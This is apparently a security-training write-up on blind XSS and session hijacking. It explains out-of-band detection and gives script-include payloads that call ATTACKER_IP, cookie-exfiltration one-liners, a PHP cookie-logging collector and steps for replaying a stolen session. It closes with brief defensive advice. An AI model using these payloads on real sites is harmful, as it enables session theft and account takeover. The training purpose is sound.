Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

XSS: blind detection & session hijacking (cookie stealing)

Sessions and cookies

Web apps often use cookies to keep a user logged in across visits. If an attacker obtains those cookies, they can often reuse the session without knowing the password—session hijacking (cookie stealing).

With XSS, arbitrary JavaScript in the victim’s browser can read document.cookie (when not protected by HttpOnly) and exfiltrate it to an attacker-controlled host.

Blind XSS

Blind XSS executes in a context you never see—for example, data you submit appears only in an admin or staff console.

Typical sinks:

  • Contact or registration forms reviewed internally
  • Reviews, support tickets, user profile fields visible only to privileged users
  • Logged or displayed User-Agent (and similar headers)

Lab signal (/hijacking)

A user registration flow that responds with “Thank you for registering. An Admin will review your registration request.” implies your strings are rendered elsewhere. You cannot confirm XSS with an alert() in your own browser the usual way.

Out-of-band (OOB) detection

Instead, inject JavaScript that phones home: if your server receives an HTTP hit, you know some page executed your payload (timing depends on when an admin opens the queue).

Two practical problems:

  1. Which field triggered?
  2. Which payload shape works in that unknown HTML context?

Identifying the vulnerable field: remote <script src>

Browsers can load scripts from a URL:

<script src="http://ATTACKER_IP/script.js"></script>

Point the src path at a unique path per field so your listener logs which input executed:

<script src="http://ATTACKER_IP/username"></script>

A request for /username implicates the username field; repeat with /fullname, /website, etc.

Payload ideas (context-dependent)

From collections like PayloadsAllTheThings, examples include:

<script src=http://ATTACKER_IP></script>
'><script src=http://ATTACKER_IP></script>
"><script src=http://ATTACKER_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://ATTACKER_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//ATTACKER_IP");a.send();</script>
<script>$.getScript("http://ATTACKER_IP")</script>

Leading ' / "> fragments only work when the server reflects you into a matching quote/attribute context. Blind DOM XSS can be easier to weaponize when you can reason about sources and sinks from code—otherwise you fuzz OOB payloads until something calls back.

Listener

Use a simple HTTP server on your box (example from the module):

mkdir -p /tmp/tmpserver && cd /tmp/tmpserver
sudo php -S 0.0.0.0:80

Submit the form with one payload variant across candidate fields, each field using a distinct path suffix (/fullname, /username, …). Wait—admins may not open the view immediately.

Narrowing the search space

  • Email fields often pass strict format checks client and server—sometimes safe to skip for XSS fuzzing in a given lab.
  • Passwords are usually hashed and not echoed in admin HTML—often lower priority for reflected/blind HTML XSS.

Session hijacking: exfiltrating document.cookie

Once you have a working remote-script include, host a script.js that sends cookies to your collector.

Examples:

document.location = 'http://ATTACKER_IP/index.php?c=' + document.cookie;
new Image().src = 'http://ATTACKER_IP/index.php?c=' + document.cookie;

The Image() approach avoids navigating the whole tab away (slightly less obvious than a full redirect). The browser still issues a normal GET with the cookie string in the query parameter.

XSS wrapper

<script src=http://ATTACKER_IP/script.js></script>

Replace ATTACKER_IP everywhere (payload + script.js).

PHP: parse and log multiple cookies

document.cookie is typically name=value pairs joined by ;. Logging raw query strings gets messy with many victims/cookies. Example index.php:

<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>

You may see GET /script.js then GET /index.php?c=... in the PHP server log. Inspect cookies.txt:

cat cookies.txt

Using the stolen session (lab: Firefox)

  1. Open the target app’s login or post-login URL (e.g. /hijacking/login.php).
  2. Developer Tools → Storage (Firefox: Shift+F9 shows the Storage sidebar in some setups—use whichever path exposes Cookies for the site).
  3. Add a cookie: Name = substring before =, Value = substring after = for the session cookie you stole (e.g. cookie=f904f93c… → name cookie, value the hex).
  4. Refresh—you should appear as the victim user (e.g. admin) if the cookie is still valid.

Defensive notes

  • Set HttpOnly on session cookies so document.cookie cannot read them from XSS (does not stop all session attacks, but removes this exact exfil path).
  • CSP, strict encoding, and eliminating XSS remain the primary fixes.
  • Use only in authorized tests.